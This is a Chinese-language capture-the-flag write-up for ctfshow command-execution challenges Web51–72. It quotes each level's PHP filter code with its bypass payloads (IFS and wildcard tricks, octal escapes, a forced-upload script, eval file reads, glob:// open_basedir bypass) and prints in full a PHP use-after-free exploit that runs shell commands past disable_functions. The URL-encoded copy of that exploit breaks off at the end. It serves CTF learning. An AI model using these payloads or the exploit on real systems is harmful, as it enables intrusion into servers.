命令执行 Web51 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤增加tac
1 2 3 4 ?c=nl<fl''ag.php|| ?c=vi<fla\g.php|| ?c=ta''c<fla\g.php|| ?c=mor%27%27e<fla%27%27g.php||
Web52 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤增加<
和>
,$
没有过滤
Web53 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
过滤增加wget
1 ?c=ta''c${IFS}fla''g.ph?
Web54 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
没有过滤ls
可以看到存在flag.php index.php页面
方法一
可以使用将flag.php复制为a.txt然后读取
1 ?c=cp${IFS}???g.php${IFS}t.txt
之后
1 2 ?c=vi${IFS}t.txt ?c=uniq${IFS}t.txt
方法二
1 2 ?c=uniq${IFS}f???.php ?c=grep${IFS}-r${IFS}'ctfshow'${IFS}.
Web55 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
过滤;
|[a-z]
|%
|\x09
|\x26
|>
|<
没有过滤数字
1 2 3 4 5 6 7 8 9 10 11 12 ?c=/???/????64 ????.??? // 即/bin/base64 flag.php //base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有 ?c=/???/???/????2 ????.??? // 即/usr/bin/bzip2 flag.php //把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。 ?c=$'\154\163' #ls ?c=$'\143\141\164'%20$'\146'* ?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'
Web56 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
较上一题增加数字过滤,以及一些字符过滤$
|(
|{
|'
|"
python或burpsuit
1 2 3 4 5 6 7 8 import requestswhile True :url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file" : ('feng.txt' , b'cat flag.php' )}) if r.text.find("flag" ) > 0 :print (r.text)break
或者写一个PHP强制上传文件
1 2 3 4 <form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="gogogo!" /> </form>
在POST 中改路径 为:POST /?c=.%20/???/????????[@-[] HTTP/1.1 上传一个txt文件,内容为cat flag.php
参考链接
无字母数字的命令执行(强制上传)
Web57 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
通过$(())
操作构造出36: $(())
:代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) ))
:对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) ))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) ))
:再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))
里面放37个$((~$(())))
,得到-37,取反即可得到36:
python脚本
1 2 3 4 5 get_reverse_number = "$((~$(({}))))" negative_one = "$((~$(())))" payload = get_reverse_number.format (negative_one*37 ) print (payload)
Web58 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
get改为post
执行以下代码
本题对于passthru,system等命令执行函数都禁用了。eval在php里面是执行代码层面的函数,无法直接执行linux命令。
1 2 3 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web59 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似web58
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web60 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似web58,web59
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web61 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似web58,web59,web60
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web62 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似web58,web59,web60,web61
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web63 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似62
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web64 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
类似62
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web65 1 2 3 4 5 6 7 8 9 <?php // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
类似62
1 2 3 4 c=print_r(scandir(dirname('FILE'))); #显示文件 c=show_source('flag.php'); c=highlight_file("flag.php"); c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
Web66 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
不同与前几题
1 2 3 4 传参 c=highlight_file("flag.php"); 显示 $flag="秀秀得了,这次不在这里";
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 传参 c=print_r(scandir(dirname('FILE'))); #显示文件 或者 c=print_r(scandir('.')); #显示文件 发现 Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) flag.php可能位于上一级 传参 c=print_r(scandir('/')); #注:[.]表示当前目录 [..]表示上一级目录 [/]根目录 发现 Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) flag.txt位于根目录下面 传参 c=highlight_file("/flag.txt"); 得到flag
Web67 1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
show_source被过滤
1 2 3 c=var_dump(scandir('/')); 发现flag.txt在根目录 c=highlight_file("/flag.txt");
Web68 访问发现
Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
盲打
1 2 3 c=var_dump(scandir('/')); 发现array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } flag.txt在根目录
highlight_file()、被禁用使用其他代替
Web69 打开显示Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
类似68
Web70 访问显示
1 2 3 4 5 6 **Warning**: error_reporting() has been disabled for security reasons in **/var/www/html/index.php** on line **14** **Warning**: ini_set() has been disabled for security reasons in **/var/www/html/index.php** on line **15** **Warning**: highlight_file() has been disabled for security reasons in **/var/www/html/index.php** on line **21** 你要上天吗?
类似前两道题
Web71 访问显示
1 2 3 4 5 6 7 8 9 10 11 Warning: error_reporting () has been disabled for security reasons in /var /www/html/index.php on line 14 Warning: ini_set () has been disabled for security reasons in /var /www/html/index.php on line 15 Warning: highlight_file () has been disabled for security reasons in /var /www/html/index.php on line 24 你要上天吗? 源码 $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?> 你要上天吗?
类似前几道题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 c=include('/flag.txt'); 发现显示???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} 你要上天吗? 所有信息替换为?号 源码劫持了输出缓冲并且将数字和字母替换成了?。 方法一 在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有: ob_flush(); ob_end_flush(); 方法二 提前终止程序,即执行完代码直接退出,可以调用的函数有: exit(); die();
1 2 3 4 c=include('/flag.txt');ob_flush(); c=include('/flag.txt');ob_end_flush(); c=include('/flag.txt');exit(); c=include('/flag.txt');die();
Web72 访问显示
1 2 3 4 5 6 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
open_basedir 用于限制PHP脚本的文件系统访问路径。
disable_functions 用于禁用PHP中的特定函数。
类似前几题,使用payload发现不可用
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的 用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是 可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
命令执行函数绕过
通过命令执行可以直接访问,如system(cat /flag.php); ,但一般命令执行函数会被过滤,这道题就是被过滤了
glob伪协议
glob伪协议筛选目录不受open_basedir的制约。
先查看根目录下的文件 c=var_export(scandir(‘glob:///*’));exit(); 发现flag0.txt
1 2 3 4 5 6 7 8 9 c=$a =new DirectoryIterator ('glob:///*' );foreach ($a as $f ){echo ($f ->__toString ()." " );}exit (); c=var_export (scandir ('glob:///*' ));exit ();
PHP中利用用户定义的析构函数(UAF)进行全局变量覆盖,从而实现读取系统根目录及执行命令的方法。通过glob
协议读取根目录,然后利用UAF脚本触发命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 c=?> <?php pwn ("ls /;cat /flag0.txt" ); function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ('%c' ,$ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ('%c' ,$v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
URL 编码后传入,payload:
1 c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a+%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a+%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a+%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a+%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a+%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a+%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a+%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a+%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a+%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a+%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a+%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a+%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a+%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a+%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a+%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a+%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a+%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a+%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a+%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a+%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a+%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a+%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a+%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a+%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a+%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a+%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a+%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a+%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a+%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a+%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a+%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+